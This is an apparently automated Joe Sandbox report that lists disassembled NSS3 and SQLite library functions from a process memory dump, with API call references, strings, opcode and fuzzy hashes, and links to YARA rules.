Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8320b8659d23bb846ffa76398f8802d7cbbf2028aaed64b7554cf6fcff3ccd93
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: A82192E264020537FB006A65AC81FFB32AC9B4675CF580034FD05DAA46FB26D939877E

Function 6C652E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

TlsGetValue.KERNEL32 ref: 6C652E4E
EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
PL_HashTableLookup.NSS3(?), ref: 6C652E71
PL_HashTableRemove.NSS3(?), ref: 6C652E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
PR_Unlock.NSS3 ref: 6C652EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C652EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C652EC5

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction ID: 1a478fd230a7e3a31d434cb3f422bee105df001435c047742af4dfb6d3717c75
Opcode Fuzzy Hash: efd170d8af3aeeab6f4b0bac66c91808ce3b8463d2ebb5cd5322081a530f8b33
Instruction Fuzzy Hash: 5321C272A00101A7EF012F64EC49E9A3B69EB9235DF144430ED1896711FB32D96AD7AA

Function 6C63FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63FD18
sqlite3_initialize.NSS3 ref: 6C63FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C63FD99
sqlite3_free.NSS3(00000000), ref: 6C63FE3C
sqlite3_free.NSS3(?), ref: 6C63FEE3
sqlite3_free.NSS3(?), ref: 6C63FEEE

Strings

simple, xrefs: 6C63FC79

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction ID: a29e9a7148c0a36b9f12d21e0b8b2286585db39fd4d761101827274671c3c6be
Opcode Fuzzy Hash: 203a4d1b20f2ee541d7a70a69aa40fefa5e70983e341f2aeddb37914289eea29
Instruction Fuzzy Hash: BA9190B0A012159FDB04CF59C984AAAF7F1FF85318F24E5ACD8189BB52D731E801CB95

Function 6C645CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C645EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C645EED

Strings

%s at line %d of [%.10s], xrefs: 6C645EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C645ED1
invalid, xrefs: 6C645EBE
API call with %s database connection pointer, xrefs: 6C645EC3
misuse, xrefs: 6C645EDB
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C645E64

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction ID: be56037fdb2ff1a05655ef9e44743a1299fb140cc7d2d52e3cdada2fd10c6d1d
Opcode Fuzzy Hash: 1faf9c5bf386dbc97dc7b453bceef42926237f82f17017414d67c87000a820b5
Instruction Fuzzy Hash: 6081D370B056019BEB19CF55C848BAAB7B1BF4130CF28C269D8155BB51D730EC42CB9E

Function 6C62DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C62DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C62DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C62DF78

Strings

%s at line %d of [%.10s], xrefs: 6C62DE61, 6C62DE90
database corruption, xrefs: 6C62DE5C, 6C62DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C62DE52, 6C62DE81

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction ID: 2f12b7cc26fb298577bf98f13595c783b8ad253f4254afced5542b85ccfb23c2
Opcode Fuzzy Hash: abc60d764b004a8faae8a9c795f23d82b0c48a56159c9892a3f02b743c9ec44d
Instruction Fuzzy Hash: BD81D4717047009FD714CF25C884BAA77F1AF85308F14882DE99A8BB91E739E945CF5A

Function 6C5DCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5DB999), ref: 6C5DD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5DB999), ref: 6C5DD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5DB999), ref: 6C72972B

Strings

%s at line %d of [%.10s], xrefs: 6C5DCFEC, 6C5DD018, 6C5DD029, 6C5DD03F, 6C72978B
database corruption, xrefs: 6C5DCFE7, 6C5DD013, 6C5DD028, 6C5DD039, 6C5DD03E, 6C729786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DCFDD, 6C5DD00E, 6C5DD022, 6C5DD033, 6C729780

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction ID: a556edb3257586714ef7d9196c33a5a27a4af73a80c9416bb13600be2b843125
Opcode Fuzzy Hash: b632323d577f60bbc90fabbe698381e08da74f5951062bfefe8765c7a831761e
Instruction Fuzzy Hash: AD613671A003108BD310CF29CD40BA7B7E5EF95318F2945ADE4889BB42E376E946C7A5

Function 6C6DFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6E0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6E015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6E01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6E0202
free.MOZGLUE(?), ref: 6C6E0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E0253

Strings

exporter, xrefs: 6C6E00F7

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction ID: e00dab8dafabfb761cd747737300dec7d2caa981533164d335d0d132ce2cb585
Opcode Fuzzy Hash: 24ccb413708c72fdd7d9d88db44b225ca4888b5f6f5eee84883fe72d57bf5da6
Instruction Fuzzy Hash: FE613371D0A3899BEF018FA4CC04BEE73B6FF4930CF14452AE91A5A661EB319954DB48

Function 6C6B4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6B536F,00000022,?,?,00000000,?), ref: 6C6B4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6B4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6B4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C6B4FAE
free.MOZGLUE(?), ref: 6C6B4FC8

Strings

oSkl", xrefs: 6C6B4DFB, 6C6B4EF4, 6C6B4EC5
%s=%s, xrefs: 6C6B4F89
%s=%c%s%c, xrefs: 6C6B4FA9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSkl"
API String ID: 2709355791-1689580949
Opcode ID: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction ID: a7f36f5b1f10008e451f27248ddb2f92d77968af8bce7bdb8b7c384813588b39
Opcode Fuzzy Hash: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction Fuzzy Hash: 6F516A71A051568BEF01CA69C4907FF7BF99F82348F188125F894B7B41D375882787A9

Function 6C6DEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEF6D

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

htonl.WSOCK32(00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFE4
htonl.WSOCK32(?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFF1
memcpy.VCRUNTIME140(?,?,6C6FA4A1,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF027

Strings

dtls13, xrefs: 6C6DEF33

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction ID: ecd8c5e6668204c506d718739335e40a612b500885558402c1543b237c6032f5
Opcode Fuzzy Hash: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction Fuzzy Hash: B231F471A01215AFCB10DF28DC84B9AB7E4EF49348F168029EC189B751E731F915CBEA

Function 6C65AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C779500,6C653F91), ref: 6C65AFD2

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

DER_GetInteger_Util.NSS3(?), ref: 6C65B007

Part of subcall function 6C6A6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C651666,?,6C65B00C,?), ref: 6C6A6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C65B02F
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C65B046
PL_FreeArenaPool.NSS3 ref: 6C65B058
PL_FinishArenaPool.NSS3 ref: 6C65B060

Strings

security, xrefs: 6C65AFB8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction ID: 1fd20ca1fcb72f99faedad4d98bafb37a15329d6935a2108ad0f7f5a6510a230
Opcode Fuzzy Hash: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction Fuzzy Hash: 893134714043009BDB108F28DC45BAA77A4AFC632CF640618F9B5ABBD1E3329519CB9F

Function 6C653E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
PL_FreeArenaPool.NSS3 ref: 6C653F14
PL_FinishArenaPool.NSS3 ref: 6C653F1C

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Strings

security, xrefs: 6C653EBC

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction ID: c5d02ec50858d65f4381e95fc662b75ef7a264a6aa8cfa4c344122c18e77512d
Opcode Fuzzy Hash: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction Fuzzy Hash: C521F8B1904304ABD3148B15AC41FAB77A8FF8971CF44053DF949A7B41E731DA28879E

Function 6C69CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C69CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C69CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C69D079

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction ID: 0b0718d146fefe746c59d6b7c5bac8e0647e81cdee7405995bb58c41f2e834b5
Opcode Fuzzy Hash: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction Fuzzy Hash: 6DC18FB1A0021A9BDB10CF24CC80BDAB7B4BF49318F1441A8E94DA7741E775EE95CF98

Function 6C68DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6997C1,?,00000000,00000000,?,?,?,00000000,?,6C677F4A,00000000), ref: 6C68DC68

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DFAA

Memory Dump Source

